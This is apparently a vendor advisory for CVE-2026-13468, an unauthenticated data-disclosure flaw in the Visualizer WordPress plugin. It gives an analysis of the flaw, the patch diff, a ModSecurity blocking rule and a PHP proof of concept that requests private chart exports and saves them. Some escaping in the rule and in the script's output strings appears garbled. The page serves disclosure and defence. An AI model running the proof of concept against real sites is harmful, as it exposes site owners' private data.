Published : July 3, 2026

CVE-2026-13468: Visualizer <= 4.0.3 Missing Authorization to Unauthenticated Sensitive Information Disclosure via /visualizer/v1/action/{chart}/{type}/ REST Endpoint PoC, Patch Analysis & Rule

Plugin visualizer
Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 4.0.3
Patched Version 4.0.4
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13468:

This vulnerability affects the Visualizer – Tables & Charts Manager with Built-in AI Generator plugin for WordPress (versions up to and including 4.0.3). The plugin registers a custom REST API route at /wp-json/visualizer/v1/action/{chart}/{type}/ that fails to properly verify user authorization, allowing unauthenticated attackers to access and export the contents of any chart (including non-public statuses) as CSV, Excel, or HTML. The CVSS score is 7.5 (High).

Root Cause: In the vulnerable code (Visualizer/Module/Frontend.php, line 156-160), the permission_callback function returns true for ‘save’ and ‘cancel’ action types without any authorization check, and for other action types it relies entirely on the ‘visualizer_pro_show_chart’ filter without verifying the post status. The chart ID is sanitized with filter_var and FILTER_VALIDATE_INT but there is no check on whether the chart post exists, belongs to the ‘visualizer’ custom post type, or is in a public status. This means any chart (draft, private, pending, future, trash) is accessible to any unauthenticated user via the REST endpoint.

Exploitation: An attacker can send a GET request to the REST API endpoint at /wp-json/visualizer/v1/action/{chart_id}/{export_type}/ where {chart_id} is the numeric ID of any chart (obtainable via WordPress REST API or ID enumeration) and {export_type} is one of ‘csv’, ‘xls’, ‘html’, ‘save’, ‘cancel’, or other supported actions. For example, to export chart ID 1 as CSV: GET /wp-json/visualizer/v1/action/1/csv/. No authentication or nonce is required. The attacker can iterate over chart IDs to export all charts regardless of their published status.

Patch Analysis: The patch (in Visualizer/Module/Frontend.php line 156-176) replaces the flawed permission_callback with a robust authorization check. It validates the chart ID with absint(), checks that the post exists and is of the ‘visualizer’ custom post type, then explicitly requires ‘edit_post’ capabilities for non-public posts (draft, private, pending, future, trash) and for ‘save’/’cancel’ action types. For public posts, it still uses the ‘visualizer_pro_show_chart’ filter as before, but now only reachable after the post existence and type checks pass.

Impact: Unauthenticated attackers can access, download, and exfiltrate all chart data from the affected site, including sensitive information stored in charts that were intentionally kept private, drafted, or in trash. This includes financial data, personal information, or any proprietary data the site administrator created with the plugin. The confidentiality of all chart content is compromised.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/visualizer/classes/Visualizer/Module/Frontend.php
+++ b/visualizer/classes/Visualizer/Module/Frontend.php
@@ -153,14 +153,25 @@
 					),
 				),
 				'permission_callback' => function ( WP_REST_Request $request ) {
-					$chart_id   = filter_var( sanitize_text_field( $request->get_param( 'chart' ), FILTER_VALIDATE_INT ) );
-					if ( ! empty( $chart_id ) && in_array( $request->get_param( 'type' ), array( 'save', 'cancel' ), true ) ) {
-						// let save and cancel go without any check as past version of pro
-						// did not send the X-WP-Nonce
-						// we can change this at a later date.
-						return true;
+					$chart_id = absint( $request->get_param( 'chart' ) );
+					if ( ! $chart_id ) {
+						return false;
 					}
-					return ! empty( $chart_id ) && apply_filters( 'visualizer_pro_show_chart', true, $chart_id );
+
+					$chart = get_post( $chart_id );
+					if ( ! $chart || Visualizer_Plugin::CPT_VISUALIZER !== $chart->post_type ) {
+						return false;
+					}
+
+					if ( in_array( $request->get_param( 'type' ), array( 'save', 'cancel' ), true ) ) {
+						return current_user_can( 'edit_post', $chart_id );
+					}
+
+					if ( 'publish' !== $chart->post_status ) {
+						return current_user_can( 'edit_post', $chart_id );
+					}
+
+					return apply_filters( 'visualizer_pro_show_chart', true, $chart_id );
 				},
 				'callback' => array( $this, 'perform_action' ),
 			)
--- a/visualizer/classes/Visualizer/Plugin.php
+++ b/visualizer/classes/Visualizer/Plugin.php
@@ -28,7 +28,7 @@
 class Visualizer_Plugin {

 	const NAME = 'visualizer';
-	const VERSION = '4.0.3';
+	const VERSION = '4.0.4';

 	// custom post types
 	const CPT_VISUALIZER = 'visualizer';
--- a/visualizer/index.php
+++ b/visualizer/index.php
@@ -3,7 +3,7 @@
 	Plugin Name: Visualizer: Tables and Charts for WordPress
 	Plugin URI: https://themeisle.com/plugins/visualizer-charts-and-graphs/
 	Description: Effortlessly create and embed responsive charts and tables with Visualizer, a powerful WordPress plugin that enhances data presentation from multiple sources.
-	Version: 4.0.3
+	Version: 4.0.4
 	Author: Themeisle
 	Author URI: http://themeisle.com
 	License: GPL v2.0 or later
--- a/visualizer/vendor/codeinwp/themeisle-sdk/assets/js/build/about/about.asset.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/assets/js/build/about/about.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-components', 'wp-element'), 'version' => '8d9c74cada5a40e4082b');
+<?php return array('dependencies' => array('react', 'wp-components', 'wp-element'), 'version' => '33f2e4c85280a9cf0f4e');
--- a/visualizer/vendor/codeinwp/themeisle-sdk/load.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/load.php
@@ -14,7 +14,7 @@
 	return;
 }
 // Current SDK version and path.
-$themeisle_sdk_version = '3.3.52';
+$themeisle_sdk_version = '3.3.54';
 $themeisle_sdk_path    = dirname( __FILE__ );

 global $themeisle_sdk_max_version;
--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Loader.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Loader.php
@@ -268,6 +268,42 @@
 			'newsHeading'      => 'Stay connected for news & updates!',
 			'emailPlaceholder' => 'Your email address',
 			'signMeUp'         => 'Sign me up',
+			'services'         => [
+				'ariaLabel'       => 'Themeisle services',
+				'trustpilotLabel' => 'Rated excellent on Trustpilot',
+				'trustpilotRated' => 'Rated',
+				'trustpilotOn'    => 'on',
+				'trustpilotBrand' => 'Trustpilot',
+				'heading'         => 'Expert WordPress services from the Themeisle team',
+				'description'     => 'Done for you by the same people who build your plugins and themes.',
+				'cta'             => 'Explore all services',
+				'items'           => [
+					'websiteDesign' => [
+						'title'    => 'Website Design',
+						'subtitle' => 'Built for your business',
+					],
+					'support'       => [
+						'title'    => 'Support',
+						'subtitle' => 'On-demand expert help',
+					],
+					'speed'         => [
+						'title'    => 'Speed Optimization',
+						'subtitle' => 'Core Web Vitals boost',
+					],
+					'seo'           => [
+						'title'    => 'SEO Foundation',
+						'subtitle' => 'Rank & get found',
+					],
+					'maintenance'   => [
+						'title'    => 'Maintenance',
+						'subtitle' => 'Updates, backups, security',
+					],
+					'hackedSite'    => [
+						'title'    => 'Hacked Site Repair',
+						'subtitle' => 'Malware removed fast',
+					],
+				],
+			],
 			'installNow'       => 'Install Now',
 			'activate'         => 'Activate',
 			'learnMore'        => 'Learn More',
--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/About_us.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/About_us.php
@@ -225,6 +225,7 @@
 				'newsHeading'      => Loader::$labels['about_us']['newsHeading'],
 				'emailPlaceholder' => Loader::$labels['about_us']['emailPlaceholder'],
 				'signMeUp'         => Loader::$labels['about_us']['signMeUp'],
+				'services'         => Loader::$labels['about_us']['services'],
 				'installNow'       => Loader::$labels['about_us']['installNow'],
 				'activate'         => Loader::$labels['about_us']['activate'],
 				'learnMore'        => Loader::$labels['about_us']['learnMore'],
--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Dashboard_widget.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Dashboard_widget.php
@@ -123,6 +123,10 @@
 		}
 		?>
 		<style type="text/css">
+			#dashboard-widgets #themeisle .hndle {
+				padding-left: 39px;
+			}
+
 			#themeisle ul li.ti-dw-recommend-item {
 				padding-left: 7px;
 				border-top: 1px solid #eee;
@@ -135,7 +139,6 @@
 				background-repeat: no-repeat;
 				background-position: 2% 50%;
 				background-size: 25px;
-				padding-left: 39px;
 			}

 			#themeisle .inside {
--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Promotions.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Promotions.php
@@ -209,7 +209,7 @@
 		add_filter( 'themeisle_sdk_ran_promos', '__return_true' );

 		if ( get_option( $this->option_neve, false ) !== true ) {
-			add_action( 'wp_ajax_themeisle_sdk_dismiss_notice', 'ThemeisleSDKModulesNotification::regular_dismiss' );
+			add_action( 'wp_ajax_themeisle_sdk_dismiss_notice', 'ThemeisleSDKModulesNotification::dismiss' );
 		}
 	}

--- a/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Uninstall_feedback.php
+++ b/visualizer/vendor/codeinwp/themeisle-sdk/src/Modules/Uninstall_feedback.php
@@ -139,7 +139,8 @@
 		?>
 		<div class="ti-theme-uninstall-feedback-drawer ti-feedback">
 			<div class="popup--header">
-				<h5><?php echo wp_kses( $heading, array( 'span' => true ) ); ?> </h5>
+				<h5><?php echo wp_kses( $heading, array( 'span' => true ) ); ?></h5>
+				<?php $this->do_popup_header_after_heading_action( 'theme' ); ?>
 				<button class="toggle"><span>×</span></button>
 			</div><!--/.popup--header-->
 			<div class="popup--body">
@@ -485,6 +486,19 @@
 	}

 	/**
+	 * Fires after the popup header heading, allowing products to output extra markup.
+	 *
+	 * @param string $context Popup context. Either `theme` or `plugin`.
+	 */
+	private function do_popup_header_after_heading_action( $context ) {
+		do_action(
+			$this->product->get_key() . '_uninstall_feedback_popup_header_after_heading',
+			$this->product,
+			$context
+		);
+	}
+
+	/**
 	 * Render the options list.
 	 *
 	 * @param array $options the options for the feedback form.
@@ -535,6 +549,7 @@
 			 id="<?php echo esc_attr( $this->product->get_slug() . '_uninstall_feedback_popup' ); ?>">
 			<div class="popup--header">
 				<h5><?php echo wp_kses( Loader::$labels['uninstall']['heading_plugin'], array( 'span' => true ) ); ?> </h5>
+				<?php $this->do_popup_header_after_heading_action( 'plugin' ); ?>
 			</div><!--/.popup--header-->
 			<div class="popup--body">
 				<?php $this->render_options_list( $options ); ?>
@@ -581,13 +596,14 @@
 			(function ($) {
 				$(document).ready(function () {
 					var targetElement = 'tr[data-plugin^="<?php echo esc_attr( $this->product->get_slug() ); ?>/"] span.deactivate a';
-					var redirectUrl = $(targetElement).attr('href');
+					var $deactivateLink = $(targetElement);
+					var redirectUrl = $deactivateLink.attr('href');
 					if ($('.ti-feedback-overlay').length === 0) {
 						$('body').prepend('<div class="ti-feedback-overlay"></div>');
 					}
-					$('<?php echo esc_attr( $popup_id ); ?> ').appendTo($(targetElement).parent());
+					$('<?php echo esc_attr( $popup_id ); ?> ').appendTo($deactivateLink.parent());

-					$(targetElement).on('click', function (e) {
+					$deactivateLink.on('click', function (e) {
 						e.preventDefault();
 						$('<?php echo esc_attr( $popup_id ); ?> ').addClass('active');
 						$('body').addClass('ti-feedback-open');
@@ -622,7 +638,7 @@
 					$('<?php echo esc_attr( $popup_id ); ?> #<?php echo esc_attr( $key ); ?>ti-deactivate-no').on('click', function (e) {
 						e.preventDefault();
 						e.stopPropagation();
-						$(targetElement).unbind('click');
+						$deactivateLink.unbind('click');
 						$('body').removeClass('ti-feedback-open');
 						$('<?php echo esc_attr( $popup_id ); ?>').remove();
 						if (redirectUrl !== '') {
@@ -633,7 +649,7 @@
 					$('<?php echo esc_attr( $popup_id ); ?> #<?php echo esc_attr( $key ); ?>ti-deactivate-yes').on('click', function (e) {
 						e.preventDefault();
 						e.stopPropagation();
-						$(targetElement).unbind('click');
+						$deactivateLink.unbind('click');
 						var selectedOption = $(
 							'<?php echo esc_attr( $popup_id ); ?> input[name="ti-deactivate-option"]:checked');
 						var data = {
--- a/visualizer/vendor/composer/installed.php
+++ b/visualizer/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'codeinwp/visualizer',
-        'pretty_version' => 'v4.0.3',
-        'version' => '4.0.3.0',
-        'reference' => '68b4b8ca7bae72889cca17e7ba815506ef3dd0b8',
+        'pretty_version' => 'v4.0.4',
+        'version' => '4.0.4.0',
+        'reference' => '4c379dcd85aad19f0dd628ac47368c031c164d2d',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,18 +11,18 @@
     ),
     'versions' => array(
         'codeinwp/themeisle-sdk' => array(
-            'pretty_version' => '3.3.52',
-            'version' => '3.3.52.0',
-            'reference' => 'd1ae68cbd4f84934b4d982e9eeff317b9f4c814a',
+            'pretty_version' => '3.3.54',
+            'version' => '3.3.54.0',
+            'reference' => '095c2d0f1388af0b0196c492a7f79e2fd092dab1',
             'type' => 'library',
             'install_path' => __DIR__ . '/../codeinwp/themeisle-sdk',
             'aliases' => array(),
             'dev_requirement' => false,
         ),
         'codeinwp/visualizer' => array(
-            'pretty_version' => 'v4.0.3',
-            'version' => '4.0.3.0',
-            'reference' => '68b4b8ca7bae72889cca17e7ba815506ef3dd0b8',
+            'pretty_version' => 'v4.0.4',
+            'version' => '4.0.4.0',
+            'reference' => '4c379dcd85aad19f0dd628ac47368c031c164d2d',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-13468
# Blocks unauthenticated access to Visualizer REST API endpoint for non-public chart exports
SecRule REQUEST_URI "@rx ^/wp-json/visualizer/vd+/action/d+/" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-13468 - Unauthenticated Visualizer data disclosure attempt',severity:'CRITICAL',tag:'CVE-2026-13468',tag:'wordpress',tag:'visualizer',tag:'rest-api'"
  SecRule REQUEST_METHOD "@streq GET" "chain"
    SecRule REQUEST_HEADERS:Authorization "@rx ^$" "chain"
      SecRule &ARGS:nonce "@eq 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13468 - Visualizer <= 4.0.3 - Missing Authorization to Unauthenticated Sensitive Information Disclosure

$target_url = 'http://example.com'; // Change this to the target WordPress URL

// Chart ID to attempt exploitation
$chart_id = 1;

// Export types to try: csv, xls, html, save, cancel, etc.
$export_types = array('csv', 'xls', 'html', 'save', 'cancel');

$ch = curl_init();

foreach ($export_types as $type) {
    $endpoint = $target_url . '/wp-json/visualizer/v1/action/' . $chart_id . '/' . $type . '/';
    
    curl_setopt_array($ch, array(
        CURLOPT_URL => $endpoint,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_HTTPGET => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false, // Disable for testing with self-signed certs
        CURLOPT_FOLLOWLOCATION => true,
    ));
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $body = substr($response, $header_size);
    
    echo "[+] Testing endpoint: $endpointn";
    echo "    HTTP Code: $http_coden";
    
    if ($http_code == 200 && !empty($body)) {
        $filename = "visualizer_export_${chart_id}_${type}.txt";
        file_put_contents($filename, $body);
        echo "    [SUCCESS] Response body saved to $filenamen";
    } else {
        echo "    Failed (HTTP $http_code)n";
    }
    echo "n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.